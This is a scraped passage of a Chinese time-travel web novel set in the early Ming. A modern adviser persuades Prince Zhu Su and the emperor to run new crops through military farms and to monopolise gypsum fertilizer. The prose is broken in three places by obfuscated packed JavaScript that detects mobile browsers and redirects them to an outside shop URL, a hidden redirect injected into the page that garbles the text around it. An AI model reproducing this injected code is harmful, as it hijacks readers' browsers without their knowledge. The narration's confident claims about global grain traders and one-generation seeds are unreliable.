“官吏?我们不是教农户么?怎么变成教官吏了……”朱橚在酒精的作用下,有点反应迟钝。 朱安宁却是笑了笑,继续解释了下去。 “一个你,能教多少农户!傻啊!教那些小官,让他们去教农户啊!军屯里的官吏,总该是相对听话些的吧,所以我才说要从军屯推广开始啊!” “对哦!”朱橚眉头一展,也跟着笑了起来。 但是他还是隐隐觉得有点不对劲。 “更重要的是,这群人里,大概只有你理解,肥料有多重要。” “啊?我哥他们肯定也是知道肥料重要的啊……” “我说的是,垄断肥料的意义。” 朱安宁喝了口酒,死死地盯着朱橚。 “控制肥料,等于控制了粮食,进而等于控制一切,毕竟,我们,以农为本。” 这话,很是大逆不道。 但是,朱安宁依旧是,说了出来。 第一百六十二章 小周,你可知道周王 谁控制了粮食,就控制了全人类。这是基辛格说过的话。 诚然,以现代的生产力水平,起码在粮食这一块,理应是溢出的,或者说平摊下来,绝对是足够的。 但是依旧有国家饿死人,而有的国家,则一年废弃7000多万吨粮食,不好吃丢,没那么脆了丢,运输亏本,也丢…… 这是相当离谱的情况,但是对上这国家的地位,又是如此的合理。 美国ADM、美国邦吉(Bunge)、美国嘉吉(Cargill)和法国路易·达孚(LouisDreyfus) 俗称的ABCD四大粮商,控制着全世界80%的粮食交易量。 控制的方式,非常简单粗暴。 起初,他们搭建起了一条贯通全世界大小粮食产区的交通网络,方便其在各地之间低价收购粮食、然后高价向富庶地区的人卖出粮食。 你只要有足够的资本,便能形成一定的垄断。 但是这种简单粗暴的玩法,极容易受到外部的影响。 所以ABCD开辟了新玩法。 育种。 各种育种。 只要高产就行。 但是这是有缺陷的。 转基因也好,其他育种方式也好,都要面临一个作物退化的问题。 所以,ABCD会利用大资金,推广自己的种子,深度绑定各个国家的农田。 他们提供的都是优秀的种子。 很快就会彻底淘汰掉当地的种子商人,彻底清除本地作物。 让他们的作物,完全占领当地的农田。 起初,农民们只会觉得,这些种子虽然贵点,但是好像也还行,毕竟高产。 大不了第二年继续用嘛。 然而很快他们就会发现。 这以转基因为主的高产种子,只能维持数代……甚至只有一代。 作物,很快就会性状分离,或者直接成为田地中的劣势种,而被一些低产性状的作物淘汰。 你无法重复利用,只能继续高价购买。 甚至于你想买本地的平替种子,都做不到。 它们,已经消失了。 而且,在农民们开始使用ABCD种子的时候,粮商们会附带卖一些肥料,农药。 其中最关键的便是农药。 高产却有缺陷的作物,是刚需ABCD生产的农药的。 这就导致现在世界范围内大部分农民,其实都是在给ABCD打工。 他们购买种子和肥料农药的时候被剥削,他们卖出粮食的时候,又会再次被剥削。 这便是现代粮食战争。 朱安宁他自然是无法复刻这种跨越百年的粮食大战。 但是他却能学着ABCD,取其中一个环节作为制衡。 那就是肥料。 肥料的制造工艺并不复杂,所以朱安宁也没想过这个秘方能隐瞒多久。 但是他必然是可以借助朝廷力量去垄断石膏矿的。 毕竟这东西,正常用量并不大,运起来也相当麻烦,比起盐铁的管控,要方便许多。 “垄断肥料。”朱橚,张了张嘴,然后缓慢地重复了朱安宁的话语。 啤酒的酒精浓度并不高,所以在这话题的刺激下,朱橚很快就清醒了过来。 朱安宁看着逐渐清醒过来的朱橚,也是笑了起来。 “小周,植物也好,农学也好,就数你学得最扎实,我看你注释都写了不少,真喜欢啊?” 这话题的转换有点突然。 朱橚思索了片刻,认真地点了点头。 “喜欢,所以很感谢先生能够倾囊相授。”他作势就想拱手行礼。 却也突然发现,啤酒还拿在手中,一时有点无措。 朱安宁则是笑着摆了摆手,示意他不必如此:“既然喜欢,又学好了,你就不想实践一番么?我记得我给你们讲过,实践是检验真理的唯一标准,现在这个机会不就摆在你眼前了么,去军屯,去教他们种,去实践你学到的,去践行你的想法!” 看朱橚没有马上回话。 朱安宁也是继续说了下去,宛如个勾人心弦的魔鬼般,说了下去:“医,救人济世,你很感兴趣,草药,也是救人济世,你依旧很感兴趣,那么农呢?医者药石救一人,农,则救万人,万万人!” 两人身旁的酒局还在继续。 李景隆不知道什么时候,对朱棣叫嚣了起来。 人都快要站到凳子上那种。 朱棣也是哈哈在那笑着接话。 几人手中的酒杯,那真是一倒满就干杯那种。 倒是苦了刘廌和刘畾,两人不仅要喝要接话还要倒酒。 而朱安宁和朱橚这边,相较之下,却显得有些沉寂,仿若是两个世界般。 在碰杯的声音中,喧闹中,过了不知多久,朱橚,才回的话。 “先生的意思是,让我去军屯那边,从低做起?” “怎么可能低,就我们种出来的番薯土豆,换个三品那是痴人说梦,但是五品六品,不能再低了吧。太子若也是认可这新粮,那就放心大胆帮忙推广就行。” “然后利用先生的肥料,就 能顺利实现高产……那么,很快,全大明,就都离不开先生的肥料,对么?” “肥料这东西,有替代,比如粪肥,我们用过的草肥泥肥,但是不管哪种,肯定没我的方便。” 听完朱安宁的话,朱橚是深吸了一口气。 他目光灼灼。 “那如先生所说,控制了肥料,即是控制了粮食,进而控制一切……您难道不觉得,有些僭越了么……” 朱橚说得很是小心。 他知道朱安宁一定没有坏心思,这是无由来的相信。 但是这件事情过于敏感,他不得不提。 控制一切。 这是自己父亲能容忍的?这又是自己大哥能容忍的? 恐怕两人还未完全看清这事情。 只有自己这个跟着朱安宁学了许久的人才知道,他所言非虚。 肥料是能够极大提高产量的! 之前的田地产量如此之低,除了粮食品种问题外,最根本的原因就是肥力不够!!! 而朱安宁的肥料,那是朱橚眼看着可以大量生产,原料易得,价格也是能够接受的那种。 这才是最重要的! 两人的目光,终于在这夜晚小院中交织。 倒是让朱安宁愣了愣。 这小周……什么情况。 怎么突然切换到了他不太认识的那种模样。 这还是那个天天绕着自己转,问这科是什么科,种是什么种的人,肥料成分居然能按照初高中教材完整去死记硬背的人。 居然能露出这样的目光。 只是他也没有再多想,喝了口啤酒,沉吟了片刻,回道。 “肥料的秘方,我自会告诉太子和洪武爷,这其中的门道,我也会择机说清楚,你尽管放心,我这个人最怕死了,你又不是不知道。” 这个回答,让朱橚略微宽心。 他真怕朱安宁会来一句,我欲夺天下……之类的逆天话语。 看来这先生还是他认识的先生。 又苟又猥琐,但是知道的事情是真的多。 只见朱橚长舒了一口气,居然主动找朱安宁做了个干杯的动作。 他长饮了一大口,发出了一声叹息。 啤酒还是爽的。 朱橚接着问道。 “那先生你,究竟想要什么?” 朱橚这个问题,相当直接。 也是一直困惑在朱橚心中的问题。 朱安宁究竟想要什么。 他贪财,但又不大贪。 他好色?好像也就那样……最近他见的年轻女性是……嗯?是小妹!不会吧……应该不会…… 那么……他恋权?他连权都没多少。 所以他图什么嘛…… 关于这些,朱橚趁着酒劲,是真的有些好奇了。 “我想要什么?”朱橚这个问题对朱安宁而言,堪比哲学三问,今早吃什么,中午吃什么,晚上吃什么,这就是个可以比肩人从何而来又去往何处的哲学问题…… 啤酒再来一口。 朱安宁也不愿纠结,他直接就大笑了起来。 “方才我不是说了么,愿天下人不再挨饿!” “啊?” “你是觉得这个愿望太过渺小?” “不是的……先生,我只是觉得……这个愿望,太大了……” 大? 好像也是。 现代都没法做到的事情。 古代的他,怎么敢说自己一定能完成这个伟业呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378766|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那换个说法吧,愿我百姓,不再挨饿。” “呃,先生,这说法有区别么?” “当然有了,非我族类,那饿不饿关我屁事。” “好……好像是这么个道理。” 朱安宁手中的啤酒,很快见底,他没有犹豫,又开了一罐。 “小周,我以前知道一个老人,一个算是在农方面,给过……给过许多我这样的人指导的老人,他说过,他有一个禾下乘凉梦……” “禾下乘凉梦?这稻得多高,多大啊……” 朱橚在那苦笑。 连带着让朱安宁也笑了起来。 笑得眼泪都快要流出来。 “就是嘛……但是,不试试,怎么知道不行呢?你看院外永乐庄的水稻,有没比别的村庄的高大,穗粒饱满?……总得去试试啊,以前我没有试过吃不饱饭,运气是不错的,但是这庄子里的人,逃荒过来的时候,我是在路边看着的……” “嗯……”这个话题说开,朱橚竟然也有了点沉重的感觉。 流民,灾民,放到案台上就是数字。 一撇一捺,点出的是无数人命。 但是……如果亲眼目睹,就会知道,他们其实原本会是鲜活的生命。 “你问我做那么多事情,是为了什么?可能也是为了名利吧,我没那么圣人,能安全当个小官,能挣钱银,我也开心得很。在这个基础上,如果能做点有意义的事,那岂不是更妙?哈哈……来小周,继续喝。” 明显,朱安宁也有些上头。 这些话,他已经憋在心中很久。 这古代,这些情绪,是不好排解的。 “ 先生,果真洒脱……” “啊?是么?” “人人皆为名为利,但是却又人人都摆出一副为民不为利的样子,只有先生,才会这么直白地说出来……” “啊?大家都这么虚伪的么?那你呢?你天天哼哧哼哧跟我学一堆东西,又是图什么?” “我?”朱橚听见朱安宁的反问,是愣了愣,然后,苦笑着摇了摇头:“不知道……” 说罢,也是一口闷完了手中的啤酒。 朱安宁见状,连忙又开了一罐递了过去。 朱橚也没有拒绝。 “哎呀,你才多少岁,想不明白,那就别想,喜欢什么就做什么,我看你喜欢花花草草,麦子水稻,今儿才跟你爹说军屯的事情的,怎么,你还是不愿意?” “不是不愿……而是……” 朱橚满脸是苦涩。 他第一次觉得自己皇子的身份居然如此碍事。 其实和朱安宁聊了那么多。 他是很想去军屯那边尝试大范围推广土豆番薯的,他甚至还想尝试在不同的田地上去实验朱安宁的肥料…… 朱安宁那句,医药救一人,农却是关系万万人,切切实实打动了他…… “哎呀你个小年轻,想事情怎么畏畏缩缩的,是不是你爹,不是我说,就你爹这个死脑筋,怕不是就只觉得当那种正儿八经的文官才是有出息,下田的官就不是官是吧。” 朱橚并没有言语。 朱安宁却还是在输出,全力输出。 “你放心,要是你真愿意去,你爹那边我去说!就他那点觉悟,都不知道他怎么当的应天府老大,迂腐!反正你爹说不过我,我来说!另外,你可别忘了我什么身份,正儿八经太子门下的赞读,虽然九品是拉胯了点……但是应该可能大概也许……呃,应该能说上点话吧……哎,反正你想去,你朱哥我就豁出去帮你!” 朱安宁伸手拍了拍朱橚的肩膀。 是把朱橚的脸庞拍得更加苦涩。 他未来的道路,其实他和朱安宁能简单决定的…… 他要就藩了啊,这是早就定下的事情,明年之后,他就是藩王,周王了。 这不是可以简单改变的事情。 虽然他不像朱棣那般是边塞王。 但也是有镇守一方职责的。 真要就藩了,头几年政务梳理和封地琐碎事,恐怕会让他完全抽不开身。 “想去就去!愁眉苦脸的,要知道一粒粮食可以改变一个国家!你想要做的事情,是利于万民的!说起来……呃,那个那个朱橚封号是什么来着,哦对了对了,周王知道吧!” “嗯……”朱橚下意识地回了句,然后是惊愕地抬起了头来:“嗯?” 第一百六十三章 父与子 “周……周王怎么了?” “嗨,那周王放……放……”朱安宁想说放现代……但是说一半他也知道有些不妥,连忙改了口:“放……放一般民众里也是个了不得的医者。” “先生你怎么知道……那周王学医?”朱橚那是心里一惊,只觉得有些奇怪,自己确实是召了不少医生去府上说教自己医术……这事全应天府都知道了? “嗯?这事应天府还有不知道的?” 朱安宁微惊,但是也无所谓,迟早会传开的。 毕竟周王朱橚学医弄药这事,是板上钉钉的事情。 “诶你也别打岔,我的意思是,你如果真的想在这方面有所有成就,你就好好种田立功,然后趁机让你大哥帮忙,把你介绍给周王。” 朱安宁手中的啤酒又被喝下一口。 身边的闹腾还在继续,幸好也不太影响他们聊天。 “为什么要去周王那里……他也就是个藩王而已。” “藩王?”朱安宁喝啤酒喝得晕乎乎地大笑了起来:“你信不信他将会是我大明最厉害的医者,他的著作将流芳百世,他的仁心,会被世人称赞,他将救万民于水火……” 朱安宁越说语速越快。 那是把朱橚听得一愣一愣。 这说的是我?是朱橚?不是什么朱树朱数之类的人? 眼看着朱安宁那是越说越离谱。 朱橚只能当他是喝高了。 反正今晚癫的又不止他一个。 隔壁李景隆都快要骑到朱棣脖子上去了。 结果朱棣还在那乐呵呵地笑…… 赵集和戚祥则是一会哭,一会叹气,一会有皇恩浩荡,大明有救了之类的胡话。 把刘廌和刘畾是忙得够呛。 “啧,你别还不信,你朱哥我夜观天象,那朱橚,定将不是个普通藩王。” 朱安宁装模作样地捏了个印,假模假式地看了下天空。 然后又把一罐酒给喝了下去。 没错……朱安宁是有点喝高了。 因为,今儿,是个值得开心的好日子。 朱橚,说不得,也只能陪着朱安宁,继续一边说话,一边喝了下去。 幸好后面的话题没有再围绕【朱橚】这个人展开。 而是开始说什么门捷列夫,元素周期表,搞农业工业化千万不能整桑基鱼塘之类的奇怪话语。 这场酒局,因丰收而起。 也因丰收尽兴。 但是要说谁喝最少的话。 一定是朱橚。 在一边陪朱棣李景隆他们喝酒的刘廌刘畾和没少喝。 最后也是七荤八素的状态。 结果喝到最后,居然只剩下朱橚一个清醒的人。 他看着躺得扭七歪八的众人,不由得有些好笑,又有些感叹。 朱安宁今晚的话,他也一时间竟是分不清,那些是清醒的话,又有哪些是胡话。 他费力地扛起了那地上的人儿,一个一个抬到了屋里。 然后开始默默地收拾残酷。 手上的活是没有停过。 但是,脑海里,翻来覆去的,都是朱安宁说的那个,老人的梦想,以及后面他说的,大明最厉害的医者…… 有些念头,一旦开始迸发,那便是,不可能再止住的了。 —————————— 应天府,皇宫。 刚退朝的朱元璋,和朱标,正看着殿外的番薯和土豆,乐不可支。 真就种出来了。 没想到,这朱安宁不仅没有说假话,甚至说,其实这些作物的产量还能更高。 只是他两也不是什么昏聩的君主,两人都是知道口说无凭,他两现在就把这堆粮种发下去,让大伙种的话,大概率是要折进去的。 所以,朱安宁提的意见其实是很靠谱的,种军屯就是最正确的选择。 “保儿,你看,真种出来了啊,昨日你没去,明明就是一小块的田地,结果我们挖啊挖,好似怎么都挖不完似的,挖出了这么一大堆。” 朱元璋正对着身边的李文忠说话。 除此之外,刘伯温和李善长也都在此处。 几人都是瞠目结舌。 “陛下,太子……这报上来的数字确实没错?”李善长手都在抖。 因为记录太过骇人。 刘伯温也是张大了嘴巴。 “呵呵,韩国公尽管放心,我和父皇,当时都在场,没有出入,就是这么多……” 朱标笑着回道。 一向淡定的刘伯温都忍不住开了口。 “既然如此,那我们还等什么,上位,赶紧把此等圣物再种下去吧,来年我大明就粮草无忧了啊!” 刘伯温一开口,连隐隐喜欢和他对着干的李善长,都不再倔强,也是急切地连连点头。 “今儿正是商量此事,阁臣那边都还未知晓这个消息,此事关乎我大明千秋万代,慎重……”朱元璋拍了拍那番薯,笑着回应了众人:“按那朱安宁的想法,这些种粮,是种在军屯最为合适,但是种植的法子,谁会呢?” 这话说出来,李善长是急切地回了句。 “让那朱安宁来帮忙…… ” “不行,他还有其他要事,韩国公,他现在算是我东宫的人了。” 逐渐朱标摆了摆手,否决了这个说法,新粮很重要,火器就不重要了?赵集对他的评价可是极高了,现在据说已经到了火器的最终制造阶段,别这个时候把朱安宁调走,那才是坏了大事。 “韩国公勿要这么急,就算那安宁小弟愿意,就他一人,想来也是很难说解决那么多亩地的耕种啊……”刘伯温插了句话。 是让李善长略微冷静了下来。 话题好像就此僵在了那里。 明明这新粮就在眼前,怎么耕种却成了问题。 而一直没有开口的李文忠。 突然拱了拱手,说出了朱元璋和朱标想要的话语。 “上位,殿下,犬子一直在那安宁小弟那学习耕种,现在,应该到了可以帮忙的时候了。” 这话一开口,也是提醒了刘伯温,他也是连忙跟上。 “刘廌,刘畾,也应当可以帮忙。” 两人都没有丝毫犹豫。 却也是让朱元璋笑了起来。 “确实,他们对新粮的耕种……不,应当说他们对稻田的耕种和对新粮的耕种,都已经极其熟练,据说还在朱安宁那学到了不少奇怪却又相当有用的东西,只是,若你们答应的话,咱这里可给不了什么了不起的官职,就是去到军屯那边指挥劳作,比起朝堂那些官员,怕不是要辛苦许多啊,你们愿意?” 这话说出来。 李文忠和刘伯温都是早就做好了准备。 他们一同行礼又一同开口。 “他们愿意。” 朱元璋,听罢,又笑了起来。 几人其实心里都是明镜。 这种新粮,绝对是大功绩一件。 别说现在给的官职低,就是不给,他们都愿意。 指不定是要流芳百世的啊。 这活。 所以其实刘伯温和李文忠,都在心中暗喜。 要说谁不爽的话,大概就是李善长了吧。 他唯有懊恼,怎么自己的儿子孙子没有去那永乐庄干活呢! 现在这大功,就这么溜走了,如果不是朱元璋和朱标在场的话,他恐怕已经捶胸顿足。 “善长,李祺应当已经回来了吧。” 而正当李善长快要郁闷至死的时候,朱元璋又突然开了口,提的正是他的儿子。 “回上位,犬子目前已经回京。” “好,治水他辛苦了,那现在再苦一苦,让他也去陪九江他们几个,种这新粮吧。” 这话说得不急不缓。 却瞬间让李善长心花怒放了起来。 陛下果然没有忘了我,陛下心里还有我。 他连忙行礼,谢恩。 这新粮的事情,就这么简单地决定了下来。 动用这批人去处理,归根到底还是,朱元璋和朱标是有些心思的。 他们不想让这粮食的情况,那么快被那些富农,士族知晓,人都是贪婪的,现在这新粮的粮种其实不算太多,可经不起什么折腾。 “好了,保儿,这事就你牵头,擅长,伯温,你们从旁协助,切莫让任何外人知晓这新粮的产量!!!” 最后一句话,就严厉了许多。 朱元璋话毕,便摆手让他们退下。 恩,他给够了,这几家人的儿子,孙子,都会因为新粮的事情得到巨大的好处。 但是这威,他也不能不立。 听完这最后一句警告,几人也是行礼,退了下去。 很快就只剩下了朱元璋和朱标。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378767|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方才朱标都是一直看着朱元璋处理这事情,他完全没有插嘴。 毕竟这几个老臣,本质上算是朱元璋的班底,虽说他是权力最大的太子,但是这并不代表他就要时刻插手自己老爹的决断…… “父皇,那四弟和五弟呢?他们明年开春就要就藩了……” 朱标提了一嘴。 其实这事他也思考了许久,一直拿捏不定。 便也是想着和自己老爹讨论一下。 毕竟这事,越早决定越好,特别是朱棣,边塞藩王,那是重中之重,不容有失。 “嗯,确实是个问题,九江他们无所谓,但是你这两个弟弟,是要就藩的啊,老四要守边,老五也要替咱看着东京,那地也重要啊……” 朱元璋陷入了沉吟。 慢慢踱着步,往殿内走去,朱标自然也是跟上。 两人似乎都在思考,走了许久,都没有言语。 而当他们踏入殿内那一瞬,却是意外地发现里面还有个人影。 “见过父皇,大哥。” 是穿着常服的朱橚。 他是今早从永乐庄赶回来的。 为了进宫,他还特地换了身衣裳,结果通报完太监进到平日朱元璋和朱橚办公的殿内时,却发现空无一人。 正当他准备遣人去看看人在哪时,朱元璋和朱标,却又恰好回到了这里。 “老五?你怎么在这里。” “五弟?” 两人都是对朱橚突然出现在这里感到惊讶。 “禀父皇,儿臣有事禀告。” 只见朱橚,深吸了一口气,说出来的话,板正又得体。 并不像平日对话时的语调。 这让朱元璋和朱标都有些面面相觑。 最后还是朱元璋开口回应道:“何事?” “儿臣,想到应天府的军屯田中,担任新粮种植的教头。” 朱橚说得很是直接。 他没有弯弯绕绕,甚至没有解释为什么。 就是直白地告诉了朱元璋,他自己的想法。 这话说出口,不必说,直接就让朱元璋长大了嘴巴。 只见老朱,缓步走到自己的龙椅上,过了许久,才回的话。 “你可知道,你是周王。” 朱元璋脸上无喜无悲,有点让朱橚琢磨还透,但他还是继续说了下去。 “儿臣知道我乃周王,封地汴京,镇守一方,但是,我觉得我能做更多的事情!” 朱橚抬起了头来,直视自己的父亲。 这让朱元璋很是惊讶。 因为这不是朱橚平时的作风。 他只会躲在朱标身后,或者是躲在朱棣身后……今天,他居然敢直视着自己,说着些话。 真就是让老朱很是意外。 这莫不是永乐庄改变了他? 其实看到朱橚现在这个样子,朱元璋反而有些欣慰。 但是他却没有表露任何表情,仍旧是绷着脸,闻道。 “比如?” “永乐庄里,关于种新粮一事,首推李景隆,他照顾院内的田时间最久,也熟稔。但是,要是说先生所教导的事物,谁学得最全,那一定是我!” “哦?这事安宁小弟也提过,你继续说。” “种田也是一门学识,并不比儒学简单,这是先生教给我的。” “你这话说出去,怕不是第二天那些文官的唾沫,就能把你淹死在这里。”朱元璋听见儿子突然说出这样的话,也是笑了起来,至于他认不认同,那尽在不言中。 “除此之外,先生还教了我许多肥料,种植的法子……”朱橚抽出了随身一直拿着的笔记,递了上去,这是这几个月来,他在永乐庄的心血。 若是平时,朱元璋只会觉得这些都是旁门左道。 但是翻开口,他却再也合不起嘴。 插画详实,各个阶段的稻谷,番薯,土豆,甚至玉米,都画在了上面。 肥料使用配比。 除草翻土的时机,事无巨细,也都写得一清二楚。 详细得,让朱元璋都有些瞠目结舌。 甚至于,书本后面还写了一大堆朱元璋根本看不懂的东西。 什么石膏即是硫酸钙,其配合尿液中的……之类的字眼。 “所以你想干嘛。” “我也有个,禾下乘凉梦。” 朱橚深深一拜。 第一百六十四章 肥料,即是盐铁 禾下乘凉梦。 朱元璋在心里,不断地回味着这句话。 朱标,亦是如此。 这是个梦。 无论如何,都是个梦。 任他朱橚再熟悉耕作,再有能耐,禾下乘凉,这总归只能是个梦。 但是,依旧让朱元璋动了容。 就像史书中,野史中,甚至影视作品中所阐述的老朱那般。 老朱,终究是个老农。 他即便知道这是一个梦,却依旧会动容。 那绷着的脸,终究是有了一丝松动。 他看着这个平日虽然宠爱,但是却怎么也觉得不太长进的五儿子,端详了好一阵。 才缓缓开的口。 “老五……”只见朱元璋顿了顿,似乎是在组织语言:“这是个好梦……你为何突然会有这种想法。” “禀父皇,这是朱安宁朱先生说与我听的! “好!好一个禾下乘凉梦。那老五,我问你,你可知粮食代表了什么!” 朱元璋再也按讷不住,径直站了起来。 朱标也是侧目,看向了自己的弟弟。 他也觉得,今日的弟弟,好似与平时不太一样。 “父皇可还记得,您评价过的我的凤阳之行。” 朱橚提及了前些年,他与朱棣一起去凤阳历练的事情,却是把朱元璋问得愣了愣。 几个儿子一起去的凤阳。 朱棣在内的好几个,都是围绕着军政建设,提出了非常多独到的见解。 唯有朱橚回报的时候,结结巴巴,说了半天屁都没说出来。 最后朱元璋是气得七窍生烟,直接给了个【愚蠢至极】的评价,然后在朱橚滚回自己的府上反思。 这事,没想到朱橚居然主动提了出来,这是出乎朱元璋和朱标意料的。 当然,老朱也不是什么寻常帝皇,既然自己儿子提出来了,他也没什么好犹豫的,他径直回答了朱橚的问题。 “愚蠢!” “敢问父皇,我为何愚蠢!” “你几个哥哥,对山川地形的描述详尽至极,对凤阳周边的情况亦了若指掌,只有你,结结巴巴半天说不出个所以然来,这不是愚蠢,又是什么,你并非是什么寻常人家的孩子,你是我的儿子,大明的五皇子,周王,你未来是要去镇守一方的!” 朱元璋说得缓慢,其实并没有太大的情绪波动,毕竟这事,已经过去许久,他骂了骂过了,甚至事后马皇后还劝慰过他,说老五的性子本就如此,不必太过恼火…… “父皇,凤阳之行,我确实是未花时间去看那山川,看那河流!我认!但是我并不是愚蠢到什么都没有做……父皇……“朱橚站立在下方,抬起头,看向了自己的父亲,目光灼灼。 “说下去。” “这是我收集到的凤阳周边的一些植物,哪些可以药用哪些可以食用,哪些有毒,我都记载下来了。顺带,我还询问了下凤阳周边一些作物的产量,实际与户部上报的,好像多少有点出入……” “这些事情,有意义?” 朱元璋往后躺了躺,他在等朱橚的回答。 若是平日,朱橚应该就已经唯唯诺诺了。 但是今日的他,不知为何,好像被人上了勇气buff似地,竟然没有退缩。 “先生教过我,国之根本,为民为农,我寻草药野菜,是为民,探田事二三,是为农!” 没有退缩的朱橚,向前走了几步,把今早从自己府上拿出来的,尘封许久的记录,掏了出来,行了个大礼,递到了朱元璋面前。 朱元璋看了眼封面,没有第一时间接下。 最后还是朱标笑着摇了摇头。 只觉得自己老爹真是有够犟,他接下了自己弟弟的记录,直接塞到了朱元璋怀里。 老朱自然也是顺坡下驴,翻开看了看。 比起前一本,震撼少了许多。 但是依旧足以让他对这个老五改观。 和上一本笔记一样,都是画满了大大小小的插画,事无巨细地描写这些植物的用法,能否食用,又该如何食用。 种类并不多,大概就是凤阳周边的一些野菜一类而已。 朱元璋是认识的,毕竟他小时候在那放过牛。 他儿子画的写的,并没有差错,这他还是辨别得出来的。 最吸引他目光的,却是朱橚收集的亩产事项。 他不动声色地把那些数字,暗记了下来,最后才是把这笔记丢还给了朱橚。 没有任何言语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378768|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朱橚知道自己老爹性格,没有骂自己,就已经算是认同,但是他并没有就此停下,他继续说了下去。 “父皇,我并不愚蠢,领兵,政事,确实不是我擅长的领域!但是这次的新粮,肥料,却是我熟稔的,如果您不派我去,难道还有更好的选择?” 这句话,直击老朱。 确实如朱橚所说。 朱元璋和朱标,一直都在那纠结新粮一事的人选,思来想去,最终老朱选定的是李祺为主导,毕竟是自己大女儿丈夫,半个自家人。 但是现在朱橚也有这个心思,好像是更好的选择! 那,宋都 封地,又该如何是好呢…… 老朱一时之间陷入了纠结之中。 而朱橚也没管那么多,他继续说了下去。 “此去军屯,还有一要事。” “要事?说?”老朱眉头一皱,示意朱橚说下去。 “肥料一事。” “肥料?”这次轮到朱标皱眉头了,毕竟这事是由他管的。 看见自己大哥也攒起了眉头。 朱橚连忙向那边侧了侧,开始解释起来。 “肥料其实才是新粮最重要的一个环节,先生说过,若是没有充足的肥料,亩产减半都是相当正常的事情,所以不管是新粮还是未来要提振稻谷小麦的产量,这肥料,都是必不可少的。” “必不可少,那尽快做出来便是。” 朱标没有多想,他直接开了口。 而朱橚,却是笑了笑。 真就是如先生所说,除了自己,好像没有多少人,能注意到这肥料的杀伤力啊。 都知道重要,但却不知道,能有多重要。 “肥料,既然能直接提振产量,那肥料即是粮食,管控肥料,将是未来大明,最重要的事项之一!” 朱橚,向着朱标,也是向着朱元璋,缓缓说出了,他与朱安宁,曾经得出过的结论。 只见朱元璋皱起了眉头。 他隐隐觉得有点道理,但是又没能马上想通,这种状态让他很是难受。 朱标亦是如此。 两人都把目光集中到了朱橚身上,示意他继续说下去。 PS:今天我又短小了,休息下休息下…… 第一百六十五章 老五,好好干 两人都希望朱橚能有更好的解释。 目光都锁定在了他的身上。 只见朱橚他缓了缓声,微微思索了片刻,才继续说道。 “农乃国之根本,先生的肥料,对亩产的促进是直观的,而这肥料的制作之便捷,我是知晓的。昨夜,先生也提及过,届时他会主动告知朝廷,肥料的秘方。” “不就是用石膏么?”朱标突然插了句话。 “对,就是石膏做为原材料,先生说,肥料基本等于亩产,只需要控制全国石膏的流动,那么肥料的生产朝廷就可以控制在手里,达到控制全国农业的目的。石膏本就是药用或者糊墙之类的,使用量不大,所以严格限制石膏流动,既简单又不会产生什么恶果,这是极其有用的措施。” 这话说出来。 殿内直接就陷入了短暂的沉默。 最终是朱元璋先开的口。 “标儿,那应天府的石膏矿,我记得你说过你占一半?” “是的,当时我听说能做肥料,便直接开口要了一半,朱安宁也没有反对……” “先生当然不会反对,他的想法是,让官家帮忙卖肥!” “官家卖肥?”朱元璋皱起了眉头,怎么好像有点要坑他钱的意思:“卖给谁?” “卖予军田。” “又是军田……”朱元璋挑了挑眉,又看了眼朱标。 只见沉吟了片刻,才回的话。 “明白了,肥料,新粮,他应该都是准备在军屯这边用了。”朱标突然敛去笑意,正式地往朱元璋那方向拜了拜:“父皇,此事,请允许我去办,我还需要几个人帮忙。” 这话说得有些突然。 起码朱橚是吃惊的。 朱元璋却是深深地看了一眼自己的好大儿。 又仔细回味了朱橚的话,也是哈哈大笑了起来。 “好,标儿,那此事,此关国之根本的大事,就交予你去办吧,咱这边年纪大了,身边的人也尽是些年纪大的,不如你们年轻人利索,说吧,你想要谁?” “五弟,刘廌,刘畾,李景隆” “老四你不要?” “四弟,乃边塞封地,兹事体大。” “那安宁小弟的永乐庄的人手,真就被你搬空了啊。” “这不也是他的想法么?” 听见案台前,自己父亲和大哥的话,朱橚不免也激动了起来。 只见他颤声问道。 “父皇,那就藩……” 他很想斟酌词语,但是反应过来的时候,话已出口。 “五皇子朱橚,年纪尚小……嗯,标儿你编个理由,说去五军都督府历练就是。” 朱元璋看着下方的朱橚,看了许久,又继续说道。 “老五,好好干。” 这话语,简单得过分。 像极了村里老农,会对自己儿子说的话语。 却也是,这么些年来。 朱橚首次,被自己父亲肯定。 他眼角带泪。 对着父亲,和兄长,深深地拜了下去。 朱元璋则,绷着脸,挥手示意朱橚可以退下了。 这副光景,让朱标不免有些好笑。 “标儿,你笑什么。” “我方才都以为你要打五弟了……” “我揍得了他,你在这不会拦着?” “也是……” “而且老五这次,不错。” “父皇,你倒是直接和他说啊。” 